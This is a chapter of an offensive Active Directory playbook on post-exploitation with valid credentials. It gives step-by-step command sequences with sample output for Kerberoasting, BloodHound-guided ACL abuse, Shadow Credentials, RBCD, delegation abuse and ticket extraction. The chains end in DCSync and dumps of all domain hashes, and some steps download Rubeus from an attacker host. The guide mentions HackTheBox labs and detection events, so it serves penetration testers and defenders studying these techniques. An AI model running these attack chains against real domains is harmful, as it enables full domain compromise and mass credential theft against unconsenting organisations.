04 · Post-Exploitation With Creds¶
You have credentials. Now map the domain, harvest more credentials, and find escalation paths.
Phase overview
The first thing you do with any new credentials is run BloodHound it builds a graph of every privilege relationship in the domain and tells you the shortest path to Domain Admin. Then you Kerberoast (free service-account hashes), check ACLs, and look for delegation misconfigurations. Each technique below feeds the next: a Kerberoast-cracked service account often has GenericWrite somewhere, which becomes Shadow Credentials or RBCD.
4.1 · Kerberoasting¶
Why this works / how it chains
Any authenticated domain user can request a TGS for any service. The TGS is encrypted with the service account's password hash. Service accounts often have weak/old passwords because they're a pain to rotate, so you crack the hash offline. RC4 (-m 13100) is the default; modern environments may force AES (-m 19700). Hash mode 13100 = TGS-REP RC4.
What leads here
- Any valid domain credentials
- At least one service account has an SPN registered (essentially every AD environment)
- Signs: BloodHound '
Kerberoastable Users' query
impacket-GetUserSPNs domain.local/user:pass \
-dc-ip <IP> -request -outputfile kerb.txt
# With Kerberos auth
KRB5CCNAME=user.ccache faketime -f "+7h" \
impacket-GetUserSPNs domain.local/user \
-k -no-pass -dc-ip <IP> -request
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/d3ad0ne.rule
4.2 · BloodHound (Run with ANY creds)¶
Why this works / how it chains
BloodHound ingests AD relationships and runs graph queries to find escalation paths. Run it the moment you have ANY valid creds; even low-priv. Mark your owned principals, then run 'Shortest Paths to Domain Admins'. Every edge in the graph (GenericAll, WriteDACL, ReadGMSAPassword, etc.) maps to a specific attack covered in this playbook.
# With password
bloodhound-python -u user -p pass \
-d domain.local -ns <IP> -c all --zip
# With Kerberos + clock skew
KRB5CCNAME=user.ccache faketime -f "+7h" \
bloodhound-python -u user \
-k -no-pass \
-d domain.local \
-ns <IP> \
-dc dc01.domain.local \
--zip -c All
sudo neo4j start && bloodhound
# Upload zip → Mark owned → Run queries
Shortest Paths to Domain Admins
Find Principals with DCSync Rights
Computers where Domain Users are Local Admin
Kerberoastable High Value Targets
Shortest Path from Owned Principals
Find AS-REP Roastable Users
Find Computers with Unconstrained Delegation
Find Computers with Constrained Delegation
GenericAll on user → Password reset / Shadow Credentials / Targeted Kerberoast
GenericWrite on user → Shadow Credentials / Targeted Kerberoast / SPN set
GenericWrite on computer → RBCD Attack
WriteDacl on domain → Grant yourself DCSync
WriteDacl on template → ESC4 → modify template → ESC1
ForceChangePassword → Reset password directly
AddMember → Add to privileged group
Unconstrained Delegation → Coerce DC auth → TGT theft
Constrained Delegation → S4U2Proxy impersonation
AllExtendedRights → Password reset / Kerberoast
ReadGMSAPassword → Read gMSA password → derive keys
Owner of object → Implicit WriteDACL → grant yourself GenericAll
4.3 · ACL Abuse¶
Why this works / how it chains
Once BloodHound shows an ACL edge, abuse it. PowerView is the canonical Windows tool; bloodyAD is the Linux equivalent and crucially supports Kerberos, which matters in PKINIT-only environments. The pattern is always the same: the ACL gives you write access, you use that write to either change a password, add yourself to a group, set an SPN (then Kerberoast), or grant yourself DCSync.
# Some examples:
Import-Module .\PowerView.ps1
# GenericAll on USER → reset password
$pass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $pass
# GenericAll on GROUP → add member
Add-DomainGroupMember -Identity 'IT Admins' -Members 'youruser'
# GenericWrite on USER → targeted Kerberoast
Set-DomainObject -Identity targetuser \
-Set @{serviceprincipalname='notreal/fake'}
impacket-GetUserSPNs domain.local/youruser:pass -dc-ip <IP> -request
# WriteDacl → give yourself DCSync
Add-DomainObjectAcl \
-TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity youruser \
-Rights DCSync
# WriteOwner → take ownership → full control
Set-DomainObjectOwner -Identity targetobj -OwnerIdentity youruser
Add-DomainObjectAcl -TargetIdentity targetobj \
-PrincipalIdentity youruser -Rights All
# Grant GenericAll
KRB5CCNAME=user.ccache faketime -f "+7h" \
bloodyAD -u user -k -d domain.local --host dc01.domain.local \
add genericAll 'targetObject' 'yourSID'
# Add group member
bloodyAD add groupMember 'GroupName' 'userToAdd'
# Set object attribute
bloodyAD set object 'CN=obj,DC=...' attributeName -v value
# Add RBCD
bloodyAD add rbcd 'targetComputer' 'delegatingAccount'
4.4 · Shadow Credentials¶
Why this works / how it chains
You don't need to KNOW the target's password; you just need to be able to WRITE to its msDS-KeyCredentialLink attribute. Add a fake key (a public key you control). Then authenticate to Kerberos via PKINIT using your private key; the KDC issues you a TGT for the target. Cleaner than RBCD because it works on users and gMSAs, not just computers, and leaves less of a trace than a password reset.
What leads here
- GenericWrite or GenericAll on a user/computer/gMSA (BloodHound)
- PKINIT supported (AD CS present, or DC supports Key Trust)
- Works on users, computers, AND gMSA accounts : broader than RBCD
# Add shadow credential
KRB5CCNAME=user.ccache faketime -f "+7h" \
bloodyAD -u user -k \
-d domain.local \
--host dc01.domain.local \
add shadowCredentials 'targetuser'
# Saves: XXXX_cert.pem and XXXX_priv.pem
# Get TGT with certificate (PKINIT)
faketime -f "+7h" \
python3 /opt/PKINITtools/gettgtpkinit.py \
-cert-pem XXXX_cert.pem \
-key-pem XXXX_priv.pem \
domain.local/targetuser \
target.ccache \
-dc-ip <IP>
# NOTE: Save the AS-REP encryption key from output!
# Get NT hash from TGT
KRB5CCNAME=target.ccache faketime -f "+7h" \
python3 /opt/PKINITtools/getnthash.py \
domain.local/targetuser \
-key <AS_REP_ENCRYPTION_KEY> \
-dc-ip <IP>
# Use NT hash
evil-winrm -i dc01.domain.local -u targetuser -H <NT_HASH>
Thought process
BloodHound shows GenericWrite on gMSA → Shadow Credentials → PKINIT → NT hash → WinRM/PTH. Cleaner than RBCD for user/gMSA targets.
4.5 · RBCD (Resource-Based Constrained Delegation)¶
Why this works / how it chains
RBCD lets a computer say 'these other principals can impersonate users TO me'. If you can write that attribute on a target computer, you point it at a controlled principal (typically a fake computer you create via the MAQ default of 10), then use S4U2Self+S4U2Proxy to mint a service ticket as Administrator to that target. Result: SYSTEM on the target machine.
What leads here
- GenericWrite on a computer object (BloodHound edge)
- WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity
- Machine Account Quota > 0 (default is 10; any user can create up to 10 computers)
# Check MAQ
nxc ldap <IP> -u user -p pass -M maq
# Add fake computer
impacket-addcomputer domain.local/user:pass \
-computer-name FAKE$ \
-computer-pass 'Fake123!' \
-dc-ip <IP>
# OR use existing computer/gMSA as delegating principal
# Configure RBCD
impacket-rbcd -f FAKE -t TARGET$ \
-dc-ip <IP> domain.local/user:pass
# bloodyAD version
bloodyAD add rbcd 'TARGET$' 'FAKE$'
# Get impersonation ticket (S4U2Self + S4U2Proxy)
impacket-getST \
-spn cifs/target.domain.local \
-impersonate administrator \
-dc-ip <IP> \
domain.local/FAKE$:'Fake123!'
# With AES key (Kerberos-only environment)
faketime '-7 seconds' proxychains4 -q impacket-getST \
-spn '<SERVICE_ACCOUNT>/<HOSTNAME>.domain.local' \
-impersonate 'targetuser' \
-aesKey <AES256_KEY> \
-dc-ip <DC_IP> \
'domain.local/gMSA$'
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass target.domain.local
impacket-psexec -k -no-pass domain.local/administrator@target.domain.local
Chain: GenericAll on DC$ → RBCD → Full Domain (Support HTB pattern)
# Position: low-privilege domain user (e.g. 'support') whose group
# (Shared Support Accounts) has GenericAll on the DC computer object.
# BloodHound shows: support → [MemberOf] → Shared Support Accounts
# Shared Support Accounts → [GenericAll] → DC$
# 1. Add a fake computer (MAQ default = 10, any user can do this)
impacket-addcomputer support.htb/support:'<REDACTED>' \
-computer-name FAKE$ \
-computer-pass 'Fake123!' \
-dc-ip <DC_IP>
# → [*] Successfully added machine account FAKE$ with password Fake123!
# 2. Configure RBCD: write FAKE$ into DC$'s msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd \
-delegate-to 'DC$' \
-delegate-from 'FAKE$' \
-action write \
-dc-ip <DC_IP> \
'support.htb/support:<REDACTED>'
# → [*] FAKE$ can now impersonate users on DC$ via S4U2Proxy
# 3. Get a CIFS service ticket as Administrator (S4U2Self + S4U2Proxy)
impacket-getST \
-spn cifs/dc.support.htb \
-impersonate administrator \
-dc-ip <DC_IP> \
support.htb/FAKE$:'Fake123!'
# → [*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
# 4. Use the ticket, psexec as Administrator on the DC
export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
impacket-psexec -k -no-pass support.htb/Administrator@dc.support.htb
# → C:\Windows\system32> whoami
# → nt authority\system
# Alternative: secretsdump → get all domain hashes
impacket-secretsdump -k -no-pass support.htb/Administrator@dc.support.htb
# → Administrator:500:... (NTLM hash for every account)
# Cleanup: remove RBCD attribute and fake computer
impacket-rbcd \
-delegate-to 'DC$' \
-delegate-from 'FAKE$' \
-action remove \
-dc-ip <DC_IP> \
'support.htb/support:<REDACTED>'
impacket-addcomputer support.htb/support:'<REDACTED>' \
-computer-name FAKE$ -dc-ip <DC_IP> -delete
4.6 · Constrained Delegation Abuse¶
Why this works / how it chains
Inverse of RBCD: instead of the target saying who can impersonate to it, an account is configured to be allowed to impersonate ANYONE to a specific service. If you compromise that account, S4U2Proxy lets you request a service ticket as Administrator (or any user) for the allowed service. Protocol Transition removes the requirement that you have a forwarded TGT first; you can use any auth.
What leads here
- BloodHound shows 'Allowed to Delegate' edge from a compromised principal
- TrustedToAuthForDelegation flag (Protocol Transition) lets you skip the 'forwarded TGT' requirement
impacket-findDelegation domain.local/user:pass -dc-ip <IP>
impacket-getST \
-spn cifs/target.domain.local \
-impersonate administrator \
-dc-ip <IP> \
domain.local/delegationuser:pass
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass target.domain.local
4.7 · Unconstrained Delegation + Coercion¶
Why this works / how it chains
Unconstrained delegation = when a user authenticates to that machine, their TGT is forwarded and stored in LSASS. If you compromise the machine and coerce a DC's machine account to authenticate to it, you capture the DC's TGT, which you can then use to DCSync. Rubeus monitor watches LSASS for new TGTs in real time.
What leads here
- Non-DC computer with TrustedForDelegation flag set
- Can coerce DC authentication (PrinterBug, PetitPotam from Phase 22)
impacket-findDelegation domain.local/user:pass -dc-ip <IP>
# On compromised unconstrained machine
.\Rubeus.exe monitor /interval:5 /nowrap
# Coerce DC auth from attacker
printerbug.py domain.local/user:pass@<DC_IP> <UNCONSTRAINED_IP>
PetitPotam.py -u user -p pass -d domain.local <UNCONSTRAINED_IP> <DC_IP>
# DC TGT captured → use it
.\Rubeus.exe ptt /ticket:<base64>
impacket-secretsdump -k -no-pass domain.local/dc$@dc.domain.local
4.8 · BloodHound-Driven Chain: AddSelf → Group → ForceChangePassword → Kerberos WinRM-SSL¶
Why this works / how it chains
BloodHound surfaces privilege edges that individually look harmless but chain to full access. A classic three-hop pattern: (1) your user has AddSelf (a.k.a. Self-Membership) on a group, so you add yourself to it; (2) that group holds ForceChangePassword on a higher-privilege account, so you reset its password without knowing the original; (3) the new account is a member of Remote Management Users and you connect via WinRM.
Gotcha: some accounts are in the Protected Users group or have restrictions that block NTLM and standard password auth. When nxc winrm returns STATUS_ACCOUNT_RESTRICTION, the account requires Kerberos. Forge a TGT with impacket-getTGT and connect with a Kerberos-aware WinRM client (winrmexec.py over SSL port 5986).
What leads here
- BloodHound shows
AddSelf/Self-Membershipedge from your principal to a group - That group has
ForceChangePasswordon another account - The target account is a member of
Remote Management Users(or equivalent WinRM group)
# bloodyAD AddSelf (you → group)
bloodyAD --host <DC_IP> -d domain.local \
-u <your_user> -p '<your_pass>' \
add groupMember '<PIVOT_GROUP>' '<your_user>'
# Verify
bloodyAD --host <DC_IP> -d domain.local \
-u <your_user> -p '<your_pass>' \
get object '<PIVOT_GROUP>' --attr member
# Option A: bloodyAD
bloodyAD --host <DC_IP> -d domain.local \
-u <your_user> -p '<your_pass>' \
set password '<TARGET_ACCOUNT>' 'NewPassword123!'
# Option B: net rpc (fallback if bloodyAD errors)
net rpc password <TARGET_ACCOUNT> 'NewPassword123!' \
-U domain.local/<your_user>%'<your_pass>' \
-S <DC_IP>
nxc smb <DC_IP> -u <TARGET_ACCOUNT> -p 'NewPassword123!'
# If you see STATUS_ACCOUNT_RESTRICTION → the account requires Kerberos
# (Protected Users group or 'This account supports Kerberos AES encryption only')
impacket-getTGT -dc-ip <DC_IP> \
'domain.local/<TARGET_ACCOUNT>:NewPassword123!'
# → saves <TARGET_ACCOUNT>.ccache
export KRB5CCNAME=<TARGET_ACCOUNT>.ccache
# Standard evil-winrm works if the port is 5985 and the cert is trusted.
# When the DC only exposes 5986 (SSL), use winrmexec.py:
git clone https://github.com/ozelis/winrmexec.git
cd winrmexec
python3 winrmexec.py domain.local/<TARGET_ACCOUNT>@dc01.domain.local \
-no-pass -ssl -port 5986 -k
# Uses the KRB5CCNAME ticket automatically
# → PS C:\Users\<TARGET_ACCOUNT>\Documents>
Thought process
BloodHound → mark <your_user> owned → run 'Shortest Paths from Owned Principals' → see AddSelf edge → follow the chain. Each step in BH maps directly to a bloodyAD command. When the final WinRM fails with ACCOUNT_RESTRICTION, the Protected Users group or AES-only policy is the blocker, Kerberos always works.
Leads to →
- Shell as target account → enumerate further with
whoami /all, scheduled tasks, GMSA read rights - Pivot to Phase 12 (local privesc) if the account has access to interesting services or writable paths
4.9 · On-Host SPN Write via Native .NET ADSI (No PowerView Needed)¶
Why this works / how it chains
When you have a shell on the target Windows host and BloodHound shows GenericWrite over a service account, you don't need PowerView or Rubeus to set an SPN. The .NET [ADSI] type accelerator is available in any PowerShell session and talks directly to the DC over LDAP. Set a fake SPN, immediately Kerberoast with Rubeus, then clean the SPN up. This keeps the tool footprint minimal; no extra binary upload required for the SPN step.
What leads here
- On-host PowerShell session (WinRM, reverse shell, etc.)
- GenericWrite or WriteProperty (
servicePrincipalName) on a target account (BloodHound) - Want to kerberoast an account that has no SPN, without uploading PowerView
# GenericWrite on svc_deploy → set a fake SPN
$u = [ADSI]"LDAP://CN=SVC_DEPLOY,OU=ServiceAccounts,DC=domain,DC=local"
$u.servicePrincipalName = "cifs/fake.domain.local"
$u.SetInfo()
# Verify it took
([ADSISearcher]"(samaccountname=svc_deploy)").FindOne().Properties.serviceprincipalname
# Download Rubeus to a writable temp location
IWR http://<ATTACKER>/Rubeus.exe -OutFile C:\Windows\Temp\r.exe
# Kerberoast the specific user
.\r.exe kerberoast /user:svc_deploy /nowrap
# /nowrap = single-line hash (paste directly into hashcat)
# AES256 encrypted TGS (Server 2025+ default)
hashcat -m 19700 svc_deploy.hash /usr/share/wordlists/rockyou.txt
# RC4 encrypted TGS (legacy / etype-downgrade possible)
hashcat -m 13100 svc_deploy.hash /usr/share/wordlists/rockyou.txt
$u = [ADSI]"LDAP://CN=SVC_DEPLOY,OU=ServiceAccounts,DC=domain,DC=local"
$u.servicePrincipalName.Clear()
$u.SetInfo()
Thought process
If the hash doesn't crack (strong password or AES-only enforcement), the SPN write is still useful; you've confirmed GenericWrite works, so pivot to Shadow Credentials (Phase 4.4) instead of kerberoasting. Shadow Creds doesn't depend on password strength at all.
Leads to →
- Cracked hash → service account creds → lateral movement / WinRM → Phase 11
- Hash doesn't crack → pivot to Shadow Credentials (Phase 4.4) or BadSuccessor (Phase 12.8)
4.10 · On-Host TGT Extraction (Rubeus tgtdeleg) + Ticket Conversion¶
Why this works / how it chains
Rubeus tgtdeleg abuses the Kerberos S4U2Self delegation path to extract a forwardable TGT for the current user without needing the user's password. It works from any domain-joined Windows session. The resulting ticket is a base64 .kirbi; impacket-ticketConverter converts it to a .ccache usable by any impacket tool. This matters when you have a shell as a user (e.g. via VS Code extension code exec) and want to use that identity for bloodyAD/nxc LDAP operations from your Linux attacker box.
What leads here
- On-host shell as a domain user (WinRM, reverse shell, etc.)
- Want a Kerberos ticket for that user without knowing the password
- Need to use the identity from Linux tools (bloodyAD, nxc -k, impacket-smbclient)
# Grab Rubeus if not already present
IWR http://<ATTACKER>/Rubeus.exe -OutFile C:\Windows\Temp\r.exe
# Extract a delegated TGT for the current session user
.\r.exe tgtdeleg /nowrap
# → saves a base64 .kirbi blob in output
# Copy the entire base64 string (everything after "doI...")
# Paste the base64 blob into a file
echo '<base64blob>' | base64 -d > user.kirbi
# Convert to ccache format
impacket-ticketConverter user.kirbi user.ccache
# Set the env var
export KRB5CCNAME=user.ccache
# Verify the identity
klist
# bloodyAD with Kerberos
bloodyad --host dc01.domain.local -d domain.local -u 'user' -k get writable
# nxc LDAP with Kerberos
nxc ldap dc01.domain.local -k --use-kcache --groups "Domain Admins"
# Check BadSuccessor eligibility
nxc ldap dc01.domain.local -k --use-kcache -M badsuccessor -o ACCOUNT=target_svc
# impacket-smbclient with Kerberos
impacket-smbclient -k -no-pass dc01.domain.local
Thought process
The moment you get a shell as a domain user via a non-credential path (extension code exec, coercion, etc.), tgtdeleg + ticketConverter is a 60-second operation that unlocks every Kerberos-aware tool on your Linux box for that identity. Always do this before doing anything else on the host.
Leads to →
- Ticket in hand → LDAP enumeration with user identity (Phase 1.8–1.12)
- BadSuccessor check → if dMSA-creation rights found → Phase 12.8
- Ticket for service account → access restricted SMB shares → Phase 4
4.11 · Constrained Delegation WITHOUT Protocol Transition → chain RBCD → DA¶
Why this works / how it chains
Section 4.6 assumed Protocol Transition (the TrustedToAuthForDelegation flag). Without it, S4U2Self on the delegating account returns a non-forwardable ticket, and S4U2Proxy refuses it (KDC_ERR_BADOPTION). This is the classic "constrained delegation but I can't just impersonate" wall.
The escape: manufacture the forwardable ticket you're missing using RBCD. If you control a second principal (any account/computer whose hash or password you hold), configure it as an allowed-to-act account on the delegating account (rbcd.py). Now that principal can run S4U2Self against the delegating account's own SPN and receive a forwardable service ticket for whatever user you impersonate. Feed that forwardable ticket back into getST.py --additional-ticket, and S4U2Proxy through the original constrained delegation finally succeeds.
Target the DC machine account (DC01$), not Administrator, privileged accounts are usually marked sensitive / cannot be delegated (NOT_DELEGATED in userAccountControl), which strips the ticket. DC01$ has no such flag, and a ticket as DC01$ to http/dc is enough to DCSync.
What leads here
- A GMSA / computer / user account (
svc_deleg$) has constrained delegation without protocol transition to a Tier-0 SPN (e.g.http/dc01.domain.local). Confirm withfindDelegation.py→DelegationType: Constrained. - You hold that account's NT hash (e.g. read via gMSA, Phase 6) or password.
- You control a second principal (
svc_ctrl, a fake computer, etc.) whose SID you can write into the delegating account's RBCD list.
findDelegation.py 'domain.local/svc_deleg$' -dc-ip <DC_IP> -k \
-hashes :<SVC_DELEG_NT_HASH>
# AccountName DelegationType DelegationRightsTo
# svc_deleg$ Constrained http/dc01.domain.local
# → also note the account's own SPN, e.g. browser/dc01.domain.local
# Prove the naive path fails (no protocol transition → non-forwardable):
getST.py -spn http/dc01.domain.local -impersonate administrator \
'domain.local/svc_deleg$' -hashes :<SVC_DELEG_NT_HASH>
# [-] KDC_ERR_BADOPTION, SPN not allowed to delegate OR initial TGT not forwardable
rbcd.py 'domain.local/svc_deleg$' -hashes :<SVC_DELEG_NT_HASH> -k \
-delegate-from svc_ctrl \
-delegate-to 'svc_deleg$' \
-action write -dc-ip <DC_IP> -use-ldaps
# [*] svc_ctrl can now impersonate users on svc_deleg$ via S4U2Proxy
# svc_ctrl impersonates DC01$ to svc_deleg$'s SPN (browser/...):
getST.py 'domain.local/svc_ctrl:<SVC_CTRL_PASS>' \
-spn browser/dc01.domain.local \
-impersonate 'DC01$' -dc-ip <DC_IP>
# → saves 'DC01$@browser_dc01...ccache' (Flags: forwardable, this was the missing piece)
getST.py -spn http/dc01.domain.local -impersonate 'DC01$' \
'domain.local/svc_deleg$' -hashes :<SVC_DELEG_NT_HASH> \
-additional-ticket 'DC01$@browser_dc01.domain.local@DOMAIN.LOCAL.ccache' \
-dc-ip <DC_IP>
# [*] Using additional ticket instead of S4U2Self
# → saves 'DC01$@http_dc01...ccache', a service ticket as DC01$ to http/dc
KRB5CCNAME='DC01$@http_dc01.domain.local@DOMAIN.LOCAL.ccache' \
impacket-secretsdump -no-pass -k dc01.domain.local -just-dc-ntlm
# → Administrator:500:...:<NT_HASH>:::
evil-winrm -i dc01.domain.local -u administrator -H <NT_HASH>
Thought process
When getST.py gives KDC_ERR_BADOPTION, run it again with -self and inspect the ticket with describeTicket.py: if Flags is missing forwardable, protocol transition is absent and you need the RBCD bridge above. Some lab/AD-restore scripts reset delegation periodically; if Step 3 fails, re-run Step 1.
Leads to →
- Ticket as
DC01$→ DCSync → domain hashes → Golden Ticket / full domain (Phase 13)
Detection / OPSEC
- Writing
msDS-AllowedToActOnBehalfOfOtherIdentityfires Event 4742 (computer/account modified); loud on a Tier-0 object - Two chained
S4U2Self/S4U2Proxybursts (4769) asDC01$are anomalous, the DC issuing itself service tickets - Clean up the RBCD entry afterward:
rbcd.py ... -action flush